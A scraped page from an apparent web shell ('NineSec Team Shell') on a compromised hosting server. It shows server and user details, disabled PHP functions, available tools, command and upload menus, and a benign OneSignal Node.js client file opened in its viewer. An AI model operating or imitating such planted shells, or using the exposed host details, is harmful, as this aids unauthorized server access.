NineSec Team Shell
Server IP : 92.205.26.207  /  Your IP : 216.73.216.16
Web Server : Apache
System : Linux 207.26.205.92.host.secureserver.net 4.18.0-553.60.1.el8_10.x86_64 #1 SMP Thu Jul 10 04:01:16 EDT 2025 x86_64
User : zikryat ( 1002)
PHP Version : 8.3.23
Disable Function : exec,passthru,shell_exec,system
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON
Directory (0755) :  /home/zikryat/public_html/node_modules/../node_modules/onesignal-node/lib/

[  Home  ][  C0mmand  ][  Upload File  ]

Current File : /home/zikryat/public_html/node_modules/../node_modules/onesignal-node/lib/user-client.js
"use strict";
Object.defineProperty(exports, "__esModule", { value: true });
exports.UserClient = void 0;
const utils_1 = require("./utils");
const constants_1 = require("./constants");
class UserClient {
    constructor(userAuthKey, options) {
        this.userAuthKey = userAuthKey;
        this.options = Object.assign(Object.assign({}, constants_1.defaultClientOptions), (options || {}));
        this.options.apiRoot = utils_1.stripTrailingSlash(this.options.apiRoot);
    }
    /**
     * View the details of all of your current OneSignal apps.
     * Reference: https://documentation.onesignal.com/reference#view-apps-apps
     *
     * @return {Promise<Response>} Http response of One Signal server.
     */
    viewApps() {
        const uri = `${this.options.apiRoot}/${constants_1.APPS_PATH}`;
        return utils_1.basicAuthRequest(uri, 'GET', this.userAuthKey);
    }
    /**
     * View the details of a single OneSignal app.
     * Reference: https://documentation.onesignal.com/reference#view-an-app
     *
     * @param {string} appId Application id.
     *
     * @return {Promise<Response>} Http response of One Signal server.
     */
    viewApp(appId) {
        const uri = `${this.options.apiRoot}/${constants_1.APPS_PATH}/${appId}`;
        return utils_1.basicAuthRequest(uri, 'GET', this.userAuthKey);
    }
    /**
     * Creates a new OneSignal app.
     * Reference: https://documentation.onesignal.com/reference#create-an-app
     *
     * @param {CreateAppBody} body Request body.
     * @returns {Promise<Response>} Http response of One Signal server.
     */
    createApp(body) {
        const uri = `${this.options.apiRoot}/${constants_1.APPS_PATH}`;
        return utils_1.basicAuthRequest(uri, 'POST', this.userAuthKey, body);
    }
    /**
     * Updates the name or configuration settings of an existing OneSignal app
     * Reference: https://documentation.onesignal.com/reference#update-an-app
     *
     * @param {string} appId Application id.
     * @param {CreateAppBody} body Request body.
     * @returns {Promise<Response>} Http response of One Signal server.
     */
    updateApp(appId, body) {
        const uri = `${this.options.apiRoot}/${constants_1.APPS_PATH}/${appId}`;
        return utils_1.basicAuthRequest(uri, 'PUT', this.userAuthKey, body);
    }
}
exports.UserClient = UserClient;
//# sourceMappingURL=user-client.js.map

NineSec Team - 2022